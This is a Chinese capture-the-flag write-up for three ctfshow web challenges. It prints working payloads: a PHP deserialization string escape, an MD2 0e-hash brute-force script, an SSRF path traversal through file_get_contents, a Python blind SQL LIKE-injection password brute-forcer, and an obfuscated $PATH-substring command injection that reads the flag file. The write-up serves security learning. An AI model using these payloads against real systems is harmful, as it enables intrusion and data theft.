文章目录
- 前言
- web1_此夜圆
- web2_故人心
- web3_莫负婵娟
前言
记录每一次的改变,加油!!!!
web1_此夜圆
首先题目给了源码,代码审计需要我们的password
的值为yu22x
,但是password
的值是我们不可控的,唯一能利用的点就是PHP反序列化的字符逃逸
,
error_reporting(0);
class a
{
public $uname;
public $password;
public function __construct($uname,$password)
{
$this->uname=$uname;
$this->password=$password;
}
public function __wakeup()
{
if($this->password==='yu22x')
{
include('flag.php');
echo $flag;
}
else
{
echo 'wrong password';
}
}
}
function filter($string){
return str_replace('Firebasky','Firebaskyup',$string);
}
$uname=$_GET[1];
$password=1;
$ser=filter(serialize(new a($uname,$password)));
$test=unserialize($ser);
?>
经过测试这部分字符为30个,然后我们看filter
部分,每替换一次Firebasky
,那么就可以逃逸出两个字符(可能看到这里你会有疑问,可以参考我以前写的一篇关于反序列化的文章PHP反序列化字符逃逸学习)所以这里就不讲原理了
![在这里插入图片描述 [月饼杯]Web_代码审计](https://img.hake.cc/net_images/ic1yvg1zk5s.png)
因此得到payload:
FirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebasky";s:8:"password";s:5:"yu22x";}
![在这里插入图片描述 [月饼杯]Web_反序列化_02](https://img.hake.cc/net_images/vjigxuejzhn.png)
web2_故人心
也是一道代码审计
error_reporting(0);
highlight_file(__FILE__);
$a=$_GET['a'];
$b=$_GET['b'];
$c=$_GET['c'];
$url[1]=$_POST['url'];
if(is_numeric($a) and strlen($a)<7 and $a!=0 and $a**2==0){
$d = ($b==hash("md2", $b)) && ($c==hash("md2",hash("md2", $c)));
if($d){
highlight_file('hint.php');
if(filter_var($url[1],FILTER_VALIDATE_URL)){
$host=parse_url($url[1]);
print_r($host);
if(preg_match('/ctfshow\.com$/',$host['host'])){
print_r(file_get_contents($url[1]));
}else{
echo '差点点就成功了!';
}
}else{
echo 'please give me url!!!';
}
}else{
echo '想一想md5碰撞原理吧?!';
}
}else{
echo '第一个都过不了还想要flag呀?!';
}
思路还是很清晰的,我们一层一层绕过,第一个绕过我们可以构造特别小的数字进行绕过,0.000000000000000000000000000000000000000000000001
可以绕过但是这里限制了长度,所以我们就可以通过科学计数法,经过测试最大可以是这个,还可以更小
payload:a=1e-162
接下来看着很头大,不可能让我跑资源跑一天吧,然后发现网页存在robots.txt
User=agent: *
Disallow:
Disallow: hinthint.txt
发现了提示
Is it particularly difficult to break MD2?!
I'll tell you quietly that I saw the payoad of the author.
But the numbers are not clear.have fun~~~~
xxxxx024452 hash("md2",$b)
xxxxxx48399 hash("md2",hash("md2",$b))
根据特性我们知道前面两个字符应该是0e
写出脚本
for ($i=100;$i<999;$i++){
$b = "0e".$i."024452";
if($b==hash("md2", $b)){
echo $b;
}
}
echo "\n";
for ($i=1000;$i<9999;$i++){
$c = "0e".$i."48399";
if($c==hash("md2",hash("md2", $c))){
echo $c;
}
}
得到结果
![在这里插入图片描述 [月饼杯]Web_php_03](https://img.hake.cc/net_images/t5xupgeu4yw.png)
接下来构造url
,他要求我们host部分为ctfshow.com
,之后我们尝试目录穿越,可惜失败了
url=http://ctfsow.com/../../../../../../../../fl0g.txt
![在这里插入图片描述 [月饼杯]Web_php_04](https://img.hake.cc/net_images/2tbwqgxvgvt.png)
后来发现
考点:file_get_contents使用不存在的协议名导致目录穿越,实现SSRF
因此我们构造url=hhh://ctfshow.com/../../../../../fl0g.txt
,成功
![在这里插入图片描述 [月饼杯]Web_反序列化_05](https://img.hake.cc/net_images/l22ersxbksd.png)
web3_莫负婵娟
发现登录页面,猜测有无注册页面,结论无,之后尝试有无备份文件,结论无
![在这里插入图片描述 [月饼杯]Web_php_06](https://img.hake.cc/net_images/hirspnm2hu5.png)
从注释中发现了重要的消息,猜想是SQL注入
![在这里插入图片描述 [月饼杯]Web_代码审计_07](https://img.hake.cc/net_images/su0hiqloqlp.png)
有个东西还是第一次看到,where子句的字符串比较是不区分大小写的,但是可以使用binary关键字设定where子句区分大小写,通过like注入发现有32位password=________________________________
![在这里插入图片描述 [月饼杯]Web_代码审计_08](https://img.hake.cc/net_images/v03g0zwgq21.png)
这里我采用python爆破
import requests
import string
strs = string.digits + string.ascii_lowercase + string.ascii_uppercase
payloadLength = 32
url = "http://54259b5b-5d66-4b4e-afb0-a5cd8ad34acf.chall.ctf.show/login.php"
i = 1
payload= "_"
tempPayload = ""
while True:
for k in strs:
tempPayload += k
data = {
'username': 'yu22x',
'password': tempPayload + "_" * (payloadLength - i)
}
r = requests.post(url,data=data)
if 'get out' in r.text:
payload = data['password']
print(data['password'])
i += 1
else:
tempPayload = tempPayload[0:-1]
if "_" not in payload:
break
if "_" not in payload:
break
最后得到结果为67815b0c009ee970fe4014abaa3Fa6A0
![在这里插入图片描述 [月饼杯]Web_代码审计_09](https://img.hake.cc/net_images/0sdom4jtrcr.png)
登录成功是一个RCE
,fuzz了一下可以使用的字符有大写字母,数字,{ },空格,$,~
根据提示:环境变量 +linux字符串截取 + 通配符
![在这里插入图片描述 [月饼杯]Web_反序列化_10](https://img.hake.cc/net_images/hd2q2ztojfq.png)
最后配合通配符
0;${PATH:14:1}${PATH:9:1} ?${PATH:9:1}??.???